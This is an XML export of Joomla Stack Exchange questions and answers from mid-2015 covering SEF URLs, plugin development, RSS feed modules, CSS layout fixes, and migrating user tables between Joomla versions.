  <row Id="10209" PostTypeId="1" CreationDate="2015-05-30T16:52:20.837" Score="2" ViewCount="51" Body="&lt;p&gt;How do I get rid of the /index.php/ parent of my webpages? When you click through my pages, they are always /index.php/about-us, I just want it to be /about-us.&lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2015-05-30T18:52:09.087" Title="How i can change the URL (index.php)" Tags="|joomla-3.x|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-01T06:20:43.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="10212" PostTypeId="2" ParentId="10209" CreationDate="2015-05-30T18:52:09.087" Score="2" Body="&lt;p&gt;Your are running in the default SEF mode. To change it you have to enable any of the alternatives. Check Joomla documentation, here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Enabling Search Engine Friendly (SEF) URLs&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-30T18:52:09.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10213" PostTypeId="2" ParentId="10201" CreationDate="2015-05-30T19:05:35.820" Score="1" Body="&lt;p&gt;Your are in the right direction, but you only have to choose other extension. FeedGator has not been updated in a while.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/social-web/social-share/autotweet-ng&quot; rel=&quot;nofollow&quot;&gt;AutoTweetNG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/social-web/social-edition/obfulltextrss&quot; rel=&quot;nofollow&quot;&gt;obFullTextRSS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/obgrabber&quot; rel=&quot;nofollow&quot;&gt;obGrabber&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can find more in JED, &lt;a href=&quot;http://extensions.joomla.org/extensions?searchall=rss%20grabber&amp;amp;filter[tags][0]=233&amp;amp;filter[core_catid]=&amp;amp;filter[includes]=&amp;amp;filter[versions]=&amp;amp;filter[type]=&amp;amp;filter[hasdemo]=&amp;amp;filter[newupdated]=&amp;amp;filter[score]=&amp;amp;filter[favourites]=&amp;amp;dir=DESC&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;clearorders=0&amp;amp;clearfilters=1&amp;amp;start=36&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-30T19:05:35.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10214" PostTypeId="2" ParentId="10200" CreationDate="2015-05-30T19:09:41.360" Score="2" Body="&lt;p&gt;Joomla MVC follows a naming convention to choose the file and class names.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;This folder holds additional controllers, if needed by the application.&#xA;&#xA;   /site/controllers/{controllername}.php&#xA;   This file holds the controller class {ComponentName}Controller{ControllerName}. This class must extend the base class JController.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You find more information in Joomla Docs, &lt;a href=&quot;https://docs.joomla.org/File_Structure_and_Naming_Conventions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-30T19:09:41.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10216" PostTypeId="2" ParentId="10200" CreationDate="2015-05-30T19:29:44.067" Score="1" Body="&lt;p&gt;If by all controllers you mean everything but controller.php, then placing them in that folder will work just fine. You call a specific controller with the task variable. For instance if you want to call the save method of the employer controller then you set the task to employer.save &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. Happy Joomla!ng&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2015-05-30T19:29:44.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10217" PostTypeId="1" AcceptedAnswerId="10268" CreationDate="2015-05-30T19:52:37.407" Score="1" ViewCount="515" Body="&lt;p&gt;I'm in the process of migrating my site from Joomla 2.5 to Joomla 3.4. I have noticed that a component I developed does not show its toolbar on the admin side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put an &lt;code&gt;echo 'hello';&lt;/code&gt; in &lt;code&gt;admin/toolbar.componentname.php&lt;/code&gt;, and the hello does not get called (it does on the 2.5 site). Thus there seems to be something wrong with whatever calls &lt;code&gt;toolbar.componentname.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2#Changes_to_Components&quot; rel=&quot;nofollow&quot;&gt;hint&lt;/a&gt; that says &quot;In admin components the admin.*.php and toolbar.*.php are not automatically included anymore (this was a Joomla 1.0 legacy feature).&quot; However, it does not say where this should be included. Looking at a stacktrace of the toolbar properly loading in Joomla 2.5 shows that it is being loaded by /libraries/joomla/application/component/helper.php (this component does not use MVC).&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2015-06-02T16:45:05.157" LastActivityDate="2015-06-02T17:44:40.303" Title="Component missing admin-side toolbars after upgrading from 2.5 to 3.4" Tags="|joomla-3.x|component|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10218" PostTypeId="1" AcceptedAnswerId="10220" CreationDate="2015-05-30T20:00:00.020" Score="3" ViewCount="1387" Body="&lt;p&gt;Dear Joomla Community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a little Joomla (3.4.1) system plugin that injects some meta tags into an article. It's working fine so far. Now I'd like to extend the plugin to copy the content of an other article into the article that's processed by the plugin. Is this somehow possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise, what I'm looking for is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I get the content/body from an other article from inside my plugin?&lt;/li&gt;&#xA;&lt;li&gt;How can the content/body then be injected into the current article (i.e. the article the plugin is currently processing)?&lt;/li&gt;&#xA;&lt;li&gt;Currently the plugin does all it's work in onBeforeRender(). Is that the right place to read and inject an other article? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any advice is welcome. Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2015-05-31T03:07:34.930" Title="Joomla/PHP: How to inject the content (body) of an other article into an article?" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10219" PostTypeId="2" ParentId="10201" CreationDate="2015-05-30T21:20:59.007" Score="3" Body="&lt;p&gt;Although using an existing extension might be easier, if you have some knowledge of PHP you could also create your own feed reader (using &lt;a href=&quot;http://php.net/manual/en/function.simplexml-load-file.php&quot; rel=&quot;nofollow&quot;&gt;simplexml_load_file()&lt;/a&gt; ), in order to have full control on how the data is used and displayed. For the most basic usage, a &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;module&lt;/a&gt; with the following code would output your feed items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $feed = &quot;http://www.verzekeringsnieuws.nl/rss/algemeen.xml&quot;;&#xA;    $rss = simplexml_load_file($feed);&#xA;&#xA;    echo '&amp;lt;h1&amp;gt;'. $rss-&amp;gt;channel-&amp;gt;title . '&amp;lt;/h1&amp;gt;';&#xA;&#xA;    foreach ($rss-&amp;gt;channel-&amp;gt;item as $item) {&#xA;       echo '&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;'. $item-&amp;gt;link .'&quot;&amp;gt;' . $item-&amp;gt;title . &quot;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&quot;;&#xA;       echo &quot;&amp;lt;p&amp;gt;&quot; . $item-&amp;gt;pubDate . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;       echo &quot;&amp;lt;p&amp;gt;&quot; . $item-&amp;gt;description . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;       echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'. $item-&amp;gt;link . '&quot; class=&quot;btn btn-primary&quot;&amp;gt;Read more...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;    } &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the data you can present it as you want, manipulate it, save it to your database and so on. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-30T21:20:59.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10220" PostTypeId="2" ParentId="10218" CreationDate="2015-05-30T22:14:23.113" Score="1" Body="&lt;p&gt;You can load/print any article by &lt;em&gt;articleId&lt;/em&gt; using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $articleId = 22; // Your article id here&#xA;    $table_plan         =  JTable::getInstance('Content', 'JTable');&#xA;    $table_plan_return  = $table_plan-&amp;gt;load(array('id'=&amp;gt;$articleId));&#xA;    echo $table_plan-&amp;gt;introtext;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also output the full text using &lt;code&gt;echo $table_plan-&amp;gt;fulltext;&lt;/code&gt; if your articles contain a Read More separation. However, keep in mind that &lt;code&gt;fulltext&lt;/code&gt; is empty if no Read More separator has been added to the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to &lt;em&gt;replace&lt;/em&gt; any article with the given content, you can use &lt;code&gt;onContentPrepare&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0)&#xA;    {&#xA;        if ($context == &quot;com_content.article&quot;) { // run only in article views&#xA;            $articleId = 22; // Your article id here&#xA;            $table_plan         =  JTable::getInstance('Content', 'JTable');&#xA;            $table_plan_return  = $table_plan-&amp;gt;load(array('id'=&amp;gt;$articleId));&#xA;            $row-&amp;gt;text = $table_plan-&amp;gt;introtext;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use the parameters ($context, $row, $params, $page = 0) and &lt;code&gt;if/else&lt;/code&gt;-statements to control when and how the articles will be replaced.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-05-31T03:07:34.930" LastActivityDate="2015-05-31T03:07:34.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10221" PostTypeId="1" CreationDate="2015-05-31T07:29:19.437" Score="1" ViewCount="396" Body="&lt;p&gt;Using K2 component. Did not like default look of files listed under categories (&lt;a href=&quot;http://www.wilddusk.com/wild-india&quot; rel=&quot;nofollow&quot;&gt;http://www.wilddusk.com/wild-india&lt;/a&gt;) with images of directories. How one can explore other visually-appealing way? &lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="2097" LastEditDate="2015-06-01T22:12:34.467" LastActivityDate="2015-06-01T23:53:39.073" Title="Display list of files under categories on K2 in visually-appealing ways" Tags="|k2|layout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10222" PostTypeId="2" ParentId="10202" CreationDate="2015-05-31T08:01:49.150" Score="0" Body="&lt;p&gt;I guess you should do it separately. Fetching price for a single item from thousands will be easier here. Further you can implement discount/offer system if you do it separately. I do separately store price in database. I use json in case of office working hours and days, things like that. &#xA;I hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2015-05-31T08:01:49.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10223" PostTypeId="1" AcceptedAnswerId="10224" CreationDate="2015-05-31T09:30:46.183" Score="5" ViewCount="4527" Body="&lt;p&gt;I was asked to work on a recently upgraded Joomla 3.4.1 site from earlier versions of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to copy the main template and create a new one. But when I went in the template manager -&gt; templates to make the copy, the template manager was broken and the following Fatal error was reported:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function get() on&#xA;  administrator/components/com_templates/views/templates/tmpl/default.php&#xA;  on line 101&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's wrong and how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-10-16T13:13:07.357" Title="Fatal error: Call to a member function get() on Templates Manager" Tags="|joomla-3.x|templates|upgrade|template-manager|fatal-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10224" PostTypeId="2" ParentId="10223" CreationDate="2015-05-31T09:30:46.183" Score="8" Body="&lt;p&gt;Well, a quick look inside the templates folder of the site, presented me the ugly truth - it seems that whoever did the upgrade, has never considered to clean up the site from old code/extensions/templates that are incompatible with Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the templates folder I found 8 old templates since Joomla 1.5, that were still considered as installed templates in Joomla system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to uninstall these old incompatible templates and remove all their folders/files from the templates folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template manager now works!&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-31T10:34:02.673" LastActivityDate="2015-05-31T10:34:02.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10225" PostTypeId="1" AcceptedAnswerId="10229" CreationDate="2015-05-31T11:09:17.243" Score="0" ViewCount="152" Body="&lt;p&gt;The button itself has the 'search' label, the input box and then the search button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using various css changes such as margins to either get the button to stop sticking to the search input box and give it some breathing room when in a mobile view (small resolution) or get it to spread out lengthwise just like the main menu above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altercations to the search button while in the mobile view works but it also aligns it incorrectly it when in a wider/full resolution. I'm not sure what tags would be suitable to get around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goo.gl/3IsBZR&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/3IsBZR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link above is the website on the search page.&lt;/p&gt;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2015-06-01T10:39:22.040" Title="Search button in mobile view won't comply with the layout" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10226" PostTypeId="2" ParentId="10225" CreationDate="2015-05-31T12:10:46.977" Score="0" Body="&lt;p&gt;I cant understand your question exactly but i take a little bit idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want that when you the size 767 px on which small menu (offcanvas) appears, here you want that your button should  be lengthwise like your menu ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so just apply a media query and give it width 100 %. I hope that you asking for this.&lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2015-05-31T12:10:46.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10227" PostTypeId="2" ParentId="10208" CreationDate="2015-05-31T12:20:14.827" Score="2" Body="&lt;p&gt;Most likely spoofing but you may be able to use the Email Trace tool in cPanel (or similar) to check if an email was sent to a particular email address from the account. If there is no tool available for you to check this, you could ask your web hosting provider to check for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you already realise, seeing the original email headers may help verify the origin of the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a precaution, and to reassure your client, I'd be inclined to perform a security audit including updating Joomla to the latest version in the series (2.5.28), and all third party extensions on the website to the latest versions (if they're not already updated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysites.guru (formerly myjoomla.com) and sucuri.net are examples of services that can help with this and I am sure there are others.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:55:21.907" LastActivityDate="2019-09-07T08:55:21.907" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10229" PostTypeId="2" ParentId="10225" CreationDate="2015-05-31T16:50:50.213" Score="2" Body="&lt;p&gt;You have to use CSS to target the button more exactly. A combination of media queries and CSS selectors should allow you to style it as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select a HTML element with CSS using any attribute, e.g. to select the search button only, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 380px) {&#xA;    button[name=&quot;Search&quot;] {&#xA;      width: 100%;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you'd rather target the input box in order to place some air around it, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#search-form input#q {&#xA;  margin-bottom: 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you CSS style affects other elements too (like you mention in your comment to another answer), you have to use a more specific selector.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-31T16:50:50.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10230" PostTypeId="1" CreationDate="2015-05-31T19:30:57.813" Score="9" ViewCount="4469" Body="&lt;p&gt;Dear Joomla community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a little system plugin to inject Facebook Open Graph properties into an article. Therefore I've been using &lt;code&gt;$document-&amp;gt;setMetaData()&lt;/code&gt;. But now I discovered that this adds &lt;code&gt;&amp;lt;meta name=&quot;&quot;&amp;gt;&lt;/code&gt; tags to the header of the page, but Facebook expects &lt;code&gt;&amp;lt;meta property=&quot;&quot;&amp;gt;&lt;/code&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest way to put a &lt;code&gt;&amp;lt;meta property=&quot;&quot;&amp;gt;&lt;/code&gt; tag into the page header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain in as much detail as possible, as I'm absolutely new to Joomla plugin developemnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated,&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2017-10-06T05:35:48.813" Title="Joomla/PHP how to add &lt;meta property&gt; instead of a &lt;meta name&gt; tags to the the header?" Tags="|joomla-3.x|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10231" PostTypeId="2" ParentId="10230" CreationDate="2015-05-31T19:58:08.633" Score="6" Body="&lt;p&gt;Never mind, I just discovered the mighty &lt;code&gt;$document-&amp;gt;addCustomTag()&lt;/code&gt; API call. &#xA;Thanks you anyway!&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2015-05-31T19:58:08.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10232" PostTypeId="1" AcceptedAnswerId="10233" CreationDate="2015-05-31T20:43:39.617" Score="6" ViewCount="1134" Body="&lt;p&gt;Hello Joomla Community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can a css class be appended to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; from inside a system plugin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated,&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2019-07-19T22:11:55.693" Title="Joomla/PHP How can a plugin append a css class to the body section?" Tags="|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10233" PostTypeId="2" ParentId="10232" CreationDate="2015-05-31T21:03:26.737" Score="6" Body="&lt;p&gt;If you want to inject code in the html code (adding class in body tag) using &lt;code&gt;OnAfterRender&lt;/code&gt; event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content= JFactory::getApplication()-&amp;gt;getBody();&#xA;/* your modification of $content here */&#xA;if (preg_match('/(&amp;lt;body.*?)(class *= *&quot;|\')(.*)(&quot;|\')(.*&amp;gt;)/', $content))&#xA;{&#xA;    $content = preg_replace(&#xA;        '/(&amp;lt;body.*?)(class *= *&quot;|\')(.*)(&quot;|\')(.*&amp;gt;)/',&#xA;        '$1$2$3 new_class$4$5',&#xA;        $content);&#xA;} &#xA;elseif (preg_match('/(&amp;lt;body.*?)(&amp;gt;)/', $content))&#xA;{&#xA;    $content = preg_replace(&#xA;        '/(&amp;lt;body.*?)(&amp;gt;)/',&#xA;        '$1 class =&quot;new_class&quot;&amp;gt;',&#xA;        $content);&#xA;}&#xA;JFactory::getApplication()-&amp;gt;setBody($content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Editor's note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JResponse.html#method_getBody&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Documentation&lt;/a&gt;, &lt;code&gt;JResponse::getBody()&lt;/code&gt; and &lt;code&gt;JResponse::setBody()&lt;/code&gt; have been deprecated since Joomla 3.2.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3.2 Use &lt;code&gt;JApplicationWeb::getBody()&lt;/code&gt; and &lt;code&gt;JApplicationWeb::setBody()&lt;/code&gt; instead&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, regex can be an unreliable tool for parsing HTML; &lt;a href=&quot;https://stackoverflow.com/q/3577641/2943403&quot;&gt;PHP provides access to several DOM parsers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="12352" LastEditDate="2019-07-19T22:11:55.693" LastActivityDate="2019-07-19T22:11:55.693" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="10234" PostTypeId="2" ParentId="10198" CreationDate="2015-05-31T22:14:52.990" Score="4" Body="&lt;p&gt;So what I did was export the J1.5 jos_users table (minus the usertype and gid), and then process all the accounts through our audit and update processes, then imported them all into the J3.4 jos_users table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `id`, `name`, `username`, `email`, `password`, `block`, `sendEmail`, `registerDate`, `lastvisitDate`, `activation`, `params` FROM `jos_users`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Luckily for us, every user that was imported was grouped as registered, so we only needed to insert a row for every user into the jos_user_group_map with the appropriate group_id equal to the &quot;id&quot; from the jos_usergroups table where the &quot;title='Registered'&quot; (which was 2, for me).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos_user_usergroup_map` (user_id, group_id) SELECT id, 2 FROM jos_users;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing it manually like this allowed us to run several transformations on the records before loading them back into the new system.  As well, we had several other tables that were populated via the load, but we didn't share that detail here.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-05-31T22:14:52.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10235" PostTypeId="1" CreationDate="2015-06-01T03:00:52.833" Score="0" ViewCount="180" Body="&lt;p&gt;I have a client who is running a sport school for kids. He just hired me to redo his Web site in Joomla. Among other things he is asking for ability for parents to log in to the site and make monthly payments as well as see their previously paid fees. Periodic monthly subscription billing is important but we think that most of the members would rather get an electronic invoice and pay it on demand when it's due rather than subscribing to automated withdrawals. He also needs to be able to track who paid and who didn't, so that implies having CRM functionality. Is there an extension that could handle this all or am I going to end up using multiple extensions to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2015-06-01T11:37:23.940" Title="Is there a membership management extension that would support recurring membership fees as well as manual invoicing?" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10237" PostTypeId="1" AcceptedAnswerId="10240" CreationDate="2015-06-01T07:25:38.773" Score="8" ViewCount="6427" Body="&lt;p&gt;I have a variable which holds some value. I need to get this variable value&#xA;both in administrator and site. Where should I place the variable and how can I get the variable in components or everywhere?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastEditorUserId="126" LastEditDate="2015-06-06T19:55:36.167" LastActivityDate="2015-06-06T19:55:36.167" Title="Use of global variable in Joomla" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10239" PostTypeId="2" ParentId="10202" CreationDate="2015-06-01T07:27:35.080" Score="4" Body="&lt;p&gt;There are several ways to store data in databases, how you wish to do it depends on your application, it's depth and future growth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no expert in this area, but I do have the experience to know that JSON-storage rarely is efficient, ultimately it strikes back at you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only plan on storing this simple data in one simple table, maybe it seems easier to just stringify it into JSON, but history clearly shows that structuring databases inevitably win in terms of efficiency, letting other people into your code and building the application. If you for instance are going to change the price of a single product, you need to pull down the data, unserialize the data, modify the price and then put it back, whilst with multiple columns you can do this in one simple database call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem could occur should you attempt to do more complex database queries, such as getting a list of all products which has the price of 50 or lower, for example, or has a special column to a special value. Also if you want to join in other tables, this will render complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my personal experience, I strongly recommend using multiple columns. The only case where I'd use JSON is if I should need dynamic columns, which tends to be rare.&lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-01T07:27:35.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10240" PostTypeId="2" ParentId="10237" CreationDate="2015-06-01T08:00:28.597" Score="9" Body="&lt;p&gt;Administrator and your front-end site are two different sites. To share information between them, you can use some persistent mechanism like below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Store information in database tables and access using Joomla Dbo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot;&gt;https://docs.joomla.org/Accessing_the_database_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use cookies to access the information by setting cookie at root level (/)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cookies = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$cookies-&amp;gt;set($name, $value, $expire, '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Store information in temporary file and access it wherever needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_the_filesystem_package&quot;&gt;https://docs.joomla.org/How_to_use_the_filesystem_package&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Additional Notes:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want to share any information within same application (either on site or admin), you can set it to Application and access it within same site in same request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;set('some_variable', 'some_value');&#xA;...&#xA;$someValue = $app-&amp;gt;get('some_variable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to access a variable across the requests but within same application, you can use JSession&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('some_variable', &quot;some_value&quot;);&#xA;...&#xA;echo $session-&amp;gt;get('some_variable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-06-01T09:11:04.070" LastActivityDate="2015-06-01T09:11:04.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10242" PostTypeId="2" ParentId="5056" CreationDate="2015-06-01T08:48:51.043" Score="3" Body="&lt;p&gt;Here is a simple and working solution. I have tried with jdoc:include but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    $document = JFactory::getDocument();&#xA;    $renderer = $document-&gt;loadRenderer('modules');&#xA;    $position = 'custompositionname';&#xA;    $options  = array('style' =&gt; 'raw');&#xA;    echo $renderer-&gt;render($position, $options, null); &#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="69" LastEditDate="2018-04-02T09:50:18.677" LastActivityDate="2018-04-02T09:50:18.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
